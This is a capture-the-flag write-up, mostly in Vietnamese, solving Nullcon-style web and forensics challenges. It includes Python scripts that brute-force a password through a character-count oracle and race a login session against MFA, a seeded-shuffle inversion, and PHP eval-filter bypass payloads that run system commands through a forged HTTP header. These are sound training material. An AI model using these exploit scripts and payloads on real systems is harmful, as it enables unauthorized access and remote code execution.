web#

grandmas_notes#

My grandma is into vibe coding and has developed this web application to help her remember all the important information. It would work be great, if she wouldn’t keep forgetting her password, but she’s found a solution for that, too.

Đọc source code có thể thấy ở trang đăng nhập nó sẽ kiểm tra mật khẩu người dùng nhập có bao nhiêu kí tự đúng với tối đa là 16 kí tự

1
$correct = 0;
2
$limit = min(count($chars), count($stored));
3
for ($i = 0; $i < $limit; $i++) {
4
    $enteredCharHash = sha256_hex($chars[$i]);
5
    if (hash_equals($stored[$i]['char_hash'], $enteredCharHash)) {
6
        $correct++;
7
    } else {
8
        break;
9
    }
10
}
11
$_SESSION['flash'] = "Invalid password, but you got {$correct} characters correct!";

Ta có thể brute force từng kí tự của mật khẩu tài khoản admin đăng nhập là lấy được flag

1
import requests, string
2

3
BASE = "http://52.59.124.14:5015"
4
CHARSET = string.ascii_letters + string.digits + "_{}!@#$%^&*()-=+[];:,.?/ "
5

6
s = requests.Session()
7

8
def try_password(pw):
9
    r = s.post(BASE + "/login.php",
10
               data={"username":"admin","password":pw},
11
               allow_redirects=True)
12
    if "got" in r.text:
13
        import re
14
        m = re.search(r'got (\d+) characters correct', r.text)
15
        if m: return int(m.group(1))
16
    return 0
17

18
def recover(maxlen=16):
19
    pw=""
20
    for pos in range(maxlen):
21
        hit=None
22
        for ch in CHARSET:
23
            attempt = pw + ch
24
            correct = try_password(attempt)
25
            if correct == pos+1:
26
                pw += ch
27
                print(f"[+] pos {pos}: {ch}")
28
                hit=True
29
                break
30
        if not hit:
31
            print("[*] kết thúc ở length", len(pw))
32
            break
33
    return pw
34

35
if __name__=="__main__":
36
    password = recover()
37
    print("[*] admin password =", password)
38

39
#YzUnh2ruQix9mBWv

pwgen#

Password policies aren’t always great. That’s why we generate passwords for our users based on a strong master password!

Đọc source code có thể thấy flag được random thông qua input ?nthpw= mỗi lần khác nhau với seed cố định srand(0x1337) nên chuỗi str_shuffle sẽ luôn giống nhau mỗi lần

1
$shuffle_count = abs(intval($_GET['nthpw']));
2

3
if($shuffle_count > 1000 or $shuffle_count < 1) {
4
    echo "Bad shuffle count! We won't have more than 1000 users anyway, but we can't tell you the master password!";
5
    echo "Take a look at /?source";
6
    die();
7
}
8

9
srand(0x1337); // the same user should always get the same password!
10

11
for($i = 0; $i < $shuffle_count; $i++) {
12
    $password = str_shuffle($FLAG);
13
}
14

15
if(isset($password)) {
16
    echo "Your password is: '$password'";
17
}

1
Your password is: '7F6_23Ha8:5E4N3_/e27833D4S5cNaT_1i_O46STLf3r-4AH6133bdTO5p419U0n53Rdc80F4_Lb6_65BSeWb38f86{dGTf4}eE8__SW4Dp86_4f1VNH8H_C10e7L62154'
2
PWgen
3

4
To view the source code, click here.

Khai thác đơn giản là ta có thể viết mã giải ngược lại password bị random bất kì thông qua tham số ?nthpw= với seed cố định srand(0x1337)

1
<?php
2

3
$obs = "7F6_23Ha8:5E4N3_/e27833D4S5cNaT_1i_O46STLf3r-4AH6133bdTO5p419U0n53Rdc80F4_Lb6_65BSeWb38f86{dGTf4}eE8__SW4Dp86_4f1VNH8H_C10e7L62154";
4

5
$n = strlen($obs);
6

7
function burn_one_shuffle_calls($n) {
8
    for ($i = $n - 1; $i > 0; $i--) {
9
        rand(0, $i);
10
    }
11
}
12

13
function get_perm_for_current_rng_state($n) {
14
    $perm = range(0, $n - 1);
15
    for ($i = $n - 1; $i > 0; $i--) {
16
        $j = rand(0, $i);
17
        $tmp = $perm[$i];
18
        $perm[$i] = $perm[$j];
19
        $perm[$j] = $tmp;
20
    }
21
    return $perm;
22
}
23

24
function invert_perm($perm) {
25
    $n = count($perm);
26
    $inv = array_fill(0, $n, 0);
27
    for ($pos = 0; $pos < $n; $pos++) {
28
        $inv[$perm[$pos]] = $pos;
29
    }
30
    return $inv;
31
}
32

33
function apply_inverse($S, $inv) {
34
    $n = count($inv);
35
    $orig_chars = array_fill(0, $n, '');
36
    for ($k = 0; $k < $n; $k++) {
37
        $pos_in_S = $inv[$k];
38
        $orig_chars[$k] = $S[$pos_in_S];
39
    }
40
    return implode('', $orig_chars);
41
}
42

43
$s = $obs;
44

45
for ($nth = 1; $nth <= 1000; $nth++) {
46
    srand(0x1337);
47

48
    for ($k = 1; $k < $nth; $k++) {
49
        burn_one_shuffle_calls($n);
50
    }
51

52
    $perm = get_perm_for_current_rng_state($n);
53
    $inv  = invert_perm($perm);
54
    $candidate = apply_inverse(str_split($s), $inv);
55

56
    echo str_pad($nth, 4, ' ', STR_PAD_LEFT) . " -> " . $candidate . PHP_EOL;
57
}

webby#

MFA is awesome! Even if someone gets our login credentials, and they still can’t get our secrets!

source code

1
import web
2
import secrets
3
import random
4
import tempfile
5
import hashlib
6
import time
7
import shelve
8
import bcrypt
9
from web import form
10
web.config.debug = False
11
urls = (
12
  '/', 'index',
13
  '/mfa', 'mfa',
14
  '/flag', 'flag',
15
  '/logout', 'logout',
16
)
17
app = web.application(urls, locals())
18
render = web.template.render('templates/')
19
session = web.session.Session(app, web.session.ShelfStore(shelve.open("/tmp/session.shelf")))
20
FLAG = open("/tmp/flag.txt").read()
21

22
def check_user_creds(user,pw):
23
    users = {
24
        # Add more users if needed
25
        'user1': 'user1',
26
        'user2': 'user2',
27
        'user3': 'user3',
28
        'user4': 'user4',
29
        'admin': 'admin',
30

31
    }
32
    try:
33
        return users[user] == pw
34
    except:
35
        return False
36

37
def check_mfa(user):
38
    users = {
39
        'user1': False,
40
        'user2': False,
41
        'user3': False,
42
        'user4': False,
43
        'admin': True,
44
    }
45
    try:
46
        return users[user]
47
    except:
48
        return False
49

50

51
login_Form = form.Form(
52
    form.Textbox("username", description="Username"),
53
    form.Password("password", description="Password"),
54
    form.Button("submit", type="submit", description="Login")
55
)
56
mfatoken = form.regexp(r"^[a-f0-9]{32}$", 'must match ^[a-f0-9]{32}$')
57
mfa_Form = form.Form(
58
    form.Password("token", mfatoken, description="MFA Token"),
59
    form.Button("submit", type="submit", description="Submit")
60
)
61

62
class index:
63
    def GET(self):
64
        try:
65
            i = web.input()
66
            if i.source:
67
                return open(__file__).read()
68
        except Exception as e:
69
            pass
70
        f = login_Form()
71
        return render.index(f)
72

73
    def POST(self):
74
        f = login_Form()
75
        if not f.validates():
76
            session.kill()
77
            return render.index(f)
78
        i = web.input()
79
        if not check_user_creds(i.username, i.password):
80
            session.kill()
81
            raise web.seeother('/')
82
        else:
83
            session.loggedIn = True
84
            session.username = i.username
85
            session._save()
86

87
        if check_mfa(session.get("username", None)):
88
            session.doMFA = True
89
            session.tokenMFA = hashlib.md5(bcrypt.hashpw(str(secrets.randbits(random.randint(40,65))).encode(),bcrypt.gensalt(14))).hexdigest()
90
            #session.tokenMFA = "acbd18db4cc2f85cedef654fccc4a4d8"
91
            session.loggedIn = False
92
            session._save()
93
            raise web.seeother("/mfa")
94
        return render.login(session.get("username",None))
95

96
class mfa:
97
    def GET(self):
98
        if not session.get("doMFA",False):
99
            raise web.seeother('/login')
100
        f = mfa_Form()
101
        return render.mfa(f)
102

103
    def POST(self):
104
        if not session.get("doMFA", False):
105
            raise web.seeother('/login')
106
        f = mfa_Form()
107
        if not f.validates():
108
            return render.mfa(f)
109
        i = web.input()
110
        if i.token != session.get("tokenMFA",None):
111
            raise web.seeother("/logout")
112
        session.loggedIn = True
113
        session._save()
114
        raise web.seeother('/flag')
115

116

117
class flag:
118
    def GET(self):
119
        if not session.get("loggedIn",False) or not session.get("username",None) == "admin":
120
            raise web.seeother('/')
121
        else:
122
            session.kill()
123
            return render.flag(FLAG)
124

125

126
class logout:
127
    def GET(self):
128
        session.kill()
129
        raise web.seeother('/')
130

131
application = app.wsgifunc()
132
if __name__ == "__main__":
133
    app.run()

Đọc source code ta dễ thấy có thể khai thác race-condition (điều kiện tranh chấp)

Trong index.POST:

Khi login đúng, code lưu session với loggedIn = True và username = 'admin' ngay lập tức session._save()
Sau đó mới kiểm tra MFA: đặt doMFA = True, tạo tokenMFA (bcrypt cost 14 khá chậm), rồi đặt lại loggedIn = False và session._save()

Trong “khoảng thời gian” bcrypt đang chạy, session trên đĩa đã ở trạng thái loggedIn=True. Lúc này gửi đồng thời một request GET /flag (cùng cookie session) trước khi dòng đặt loggedIn=False chạy xong, sẽ qua check và lấy flag

1
import requests, threading, time
2
from concurrent.futures import ThreadPoolExecutor, as_completed
3

4
BASE = "http://52.59.124.14:5010"
5
USER = "admin"
6
PASS = "admin"
7

8
s = requests.Session()
9
s.headers.update({"User-Agent": "race-poc"})
10

11
def try_flag():
12
    # Không theo redirect để thấy 200 ngay khi lọt
13
    r = s.get(f"{BASE}/flag", allow_redirects=False, timeout=5)
14
    if r.status_code == 200 and ("ENO{" in r.text or "FLAG" in r.text or "CTF" in r.text):
15
        print("[+] GOT FLAG!")
16
        print(r.text)
17
        return True
18
    return False
19

20
def spam_flag(stop_event):
21
    # Spam liên tục cho tới khi có flag
22
    while not stop_event.is_set():
23
        if try_flag():
24
            stop_event.set()
25
            break
26

27
def main():
28
    # Lấy cookie session ban đầu
29
    s.get(f"{BASE}/", timeout=5)
30

31
    stop = threading.Event()
32

33
    # 1) Mở bãi bắn /flag đa luồng
34
    workers = 50
35
    threads = []
36
    for _ in range(workers):
37
        t = threading.Thread(target=spam_flag, args=(stop,), daemon=True)
38
        t.start()
39
        threads.append(t)
40

41
    # 2) Gửi POST / để kích hoạt cửa sổ race (bcrypt cost=14 làm chậm)
42
    data = {"username": USER, "password": PASS, "submit": "Login"}
43
    # Không follow redirect để tiết kiệm thời gian
44
    r = s.post(f"{BASE}/", data=data, allow_redirects=False, timeout=10)
45

46
    # 3) Chờ tới khi có flag hoặc hết thời gian
47
    t0 = time.time()
48
    timeout = 20
49
    while time.time() - t0 < timeout and not stop.is_set():
50
        time.sleep(0.05)
51

52
    if not stop.is_set():
53
        print("[-] Chưa chộp được. Tăng số luồng hoặc chạy lại (do timing).")
54

55
if __name__ == "__main__":
56
    main()

Slasher#

Slashing all the slashes…

source code

1
<?php
2
ini_set("error_reporting", 0);
3
ini_set("short_open_tag", "Off");
4

5
set_error_handler(function($_errno, $errstr) {
6
    echo "Something went wrong!";
7
});
8

9
if(isset($_GET['source'])) {
10
    highlight_file(__FILE__);
11
    die();
12
}
13

14
include "flag.php";
15

16
$output = null;
17
if(isset($_POST['input']) && is_scalar($_POST['input'])) {
18
    $input = $_POST['input'];
19
    $input = htmlentities($input,  ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
20
    $input = addslashes($input);
21
    $input = addcslashes($input, '+?<>&v=${}%*:.[]_-0123456789xb `;');
22
    try {
23
        $output = eval("$input;");
24
    } catch (Exception $e) {
25
        // nope, nothing
26
    }
27
}
28
?>
29
<!doctype html>
30
<html lang="en">
31
<head>
32
    <meta charset="utf-8">
33
    <meta name="viewport" content="width=device-width, initial-scale=1">
34
    <title>Slasher</title>
35
    <link rel="stylesheet" href="style.css">
36
    <script>
37
        function copyResult() {
38
            const el = document.getElementById('resultText');
39
            if (!el) return;
40
            const rng = document.createRange();
41
            rng.selectNodeContents(el);
42
            const sel = window.getSelection();
43
            sel.removeAllRanges(); sel.addRange(rng);
44
            try { document.execCommand('copy'); } catch(e){}
45
            sel.removeAllRanges();
46
            const btn = document.getElementById('copyBtn');
47
            if(btn){
48
                const original = btn.textContent;
49
                btn.textContent = 'Copied!';
50
                setTimeout(()=>btn.textContent=original, 1200);
51
            }
52
        }
53
    </script>
54
</head>
55
<body>
56
    <div class="container">
57
        <header class="header">
58
            <div class="brand">
59
                <div class="logo" aria-hidden="true"></div>
60
                <h1>Slasher</h1>
61
            </div>
62
            <nav class="actions">
63
                <a class="kbd" href="/?source" title="View source">view source</a>
64
            </nav>
65
        </header>
66

67
        <section class="card">
68
            <div class="head">
69
                <strong>Eval your slashes</strong>
70
                <span class="kbd">POST</span>
71
            </div>
72
            <div class="body">
73
                <form action="/" method="post" autocomplete="off" spellcheck="false">
74
                    <label for="input">Input your content</label>
75
                    <div class="input-row">
76
                        <input id="input" name="input" type="text" placeholder='e.g. "1+2"' />
77
                        <button class="btn" type="submit">Submit</button>
78
                    </div>
79
                </form>
80

81
                <?php if($output) { ?>
82
                    <div class="result-title">Your result is:</div>
83
                    <div class="result" id="resultText"><?php echo htmlentities($output); ?></div>
84
                    <div class="actions" style="margin-top:10px">
85
                        <button id="copyBtn" class="btn btn-secondary" type="button" onclick="copyResult()">Copy result</button>
86
                    </div>
87
                <?php } ?>
88

89
                <p class="notice">
90
                    To view the source code, <a href="/?source">click here</a>.
91
                </p>
92
            </div>
93
        </section>
94

95
        <footer class="footer">
96
            <span>© <?php echo date('Y'); ?> gehaxelt. Made with <3 and AI</span>
97
        </footer>
98
    </div>
99
</body>
100
</html>

Để có thể đọc được tệp flag.php chúng ta phải bypass được hàm eval

1
    $input = addslashes($input);
2
    $input = addcslashes($input, '+?<>&v=${}%*:.[]_-0123456789xb `;');
3
    try {
4
        $output = eval("$input;");
5
    } catch (Exception $e) {
6
        // nope, nothing
7
    }

Có thể thấy input người dùng nhập vào đã bị filter bới hàm addcslashes nó sẽ thêm \ vào các kí tự ở trên bao gồm cả khoảng trắng

Tất nhiên còn rất nhiều hàm nguy hiểm không bị filter như system nhưng system cần dấu ' nên sẽ không thành công. Chúng ta chỉ dùng được những hàm khong cần '

Hàm getcwd() sẽ trả về đường dẫn thư mục hiện tại
Hàm scandir() sẽ liệt kê tất cả các file trong thư mục đấy
Sử dụng echo() hoặc print() để in output ra màn hình

1
print(join(scandir(getcwd())))

Chúng ta đã liệt kê được các file trong thư mục và thấy có flag.php. Vấn đề là làm sao để đọc được file này

Sử dụng redfile() để đọc file nhưng phải lấy được một file cụ thể
hàm end() và current() chỉ lấy được file ở cuối mảng hoặc đầu mảng
hàm next() và prev() có thể dịch chuyển trong mảng nhưng x v đã bị filter. Vì php không phân biệt chữ hoa chữ thường nên có thể dùng chữ in hoa X V. Vấn đề là next() prve() chỉ dùng được con trỏ nội bộ cần có $ nên cũng không khả thi

Sau đó mình đã phát hiện ra 1 hàm khá mạnh có thể sử dụng tất cả các lệnh tùy ý

getallheaders() trong PHP dùng để lấy toàn bộ HTTP request headers mà client gửi lên server dưới dạng một mảng (associative array). Mình sẽ giả một header đặt ở cuối body sau đó sử dụng end() để lấy header này và thực thi

1
X: flag.php
2

3
print(readfile(end(getallheaders())))

hoặc có thể sử dụng system

1
X: cat flag.php
2

3
system(end(getallheaders()))

dogfinder#

I like dogs, so I wrote this awesome dogfinder page. Somewhere on the filesystem is a nice treat for you.

misc#

usbstorage#

I attached my friend’s USB drive to my laptop and accidently copied a private file, which I immediately deleted. But my friend still somehow got the file from looking at the USB message their drive recorded…

Trong phần đính kèm, có cung cấp tệp pcapng với thông báo USB Mass Storage:

Sử dụng binwalk để trích xuất tệp được truyền qua USB

1
binwalk -e usbstorage.pcapng
2

3
DECIMAL       HEXADECIMAL     DESCRIPTION
4
--------------------------------------------------------------------------------
5
1343984       0x1481F0        gzip compressed data, from Unix, last modified: 1970-01-01 00:00:00 (null date)

1
$tar -xvf 1481F0.tar
2
flag.gz
3

4
$gunzip flag.gz
5

6
$cat flag
7
ENO{USB_STORAGE_SHOW_ME_THE_FLAG_PLS}

atruecryptographer#

You know what I like most? Nullcon aftermovies and Kerckhoffs’s principle! But since I’m a true cryptographer and a 1337 h4xx0r, I can even provide you my password without you ever finding my secrets: U”gkXYg;^#qXxJ(jm*jKik|N/gezj7)z
My question is: Are you a true cryptographer, too? Prove it by finding my secret!

Một tệp mp4 mở lên trông khá bình thường nhưng tôi nhận ra kích thước của tệp khá nặng

Đề bài có gợi ý atruecryptographer nên tôi khá chắc rằng tệp này đã bị độn một file-container TrueCrypt/VeraCrypt dạng hidden được ngụy trang thành MP4

1
nullcon-aftermovie.mp4
2
┌─────────────── 0 … 64 KiB ───────────────┐
3
│ Header MP4 (đè lên outer-header TC)     │
4
├────────── 64 KiB … (gần MIN_OFF) ────────┤
5
│ Hidden header + dữ liệu hidden volume    │  ← cryptsetup/VeraCrypt đọc phần này
6
├────────────── (từ MIN_OFF trở đi) ───────┤
7
│ Dữ liệu video thật (mdat được tham chiếu)│  ← trình phát MP4 chỉ đọc phần này
8
└───────────────────────────────────────────┘

MP4 player bỏ qua vùng “container” vì không được stco/co64 tham chiếu.

cryptsetup/VeraCrypt lại coi file đó như một ảnh đĩa mã hóa, tìm hidden-header ở 64 KiB, giải mã và map ra /dev/mapper/tcsteg

Sử dụng cryptsetup để mở sau đó mount phân vùng ta sẽ đọc được flag

1
$sudo cryptsetup tcryptOpen --tcrypt-hidden "nullcon-aftermovie.mp4" tcsteg
2
$sudo mount -o ro /dev/mapper/tcsteg /mnt/secret
3
$cat /mnt/secret/flag.txt
4
ENO{Tru3_Cryp7_St3G0_F04_Ze_W1n!}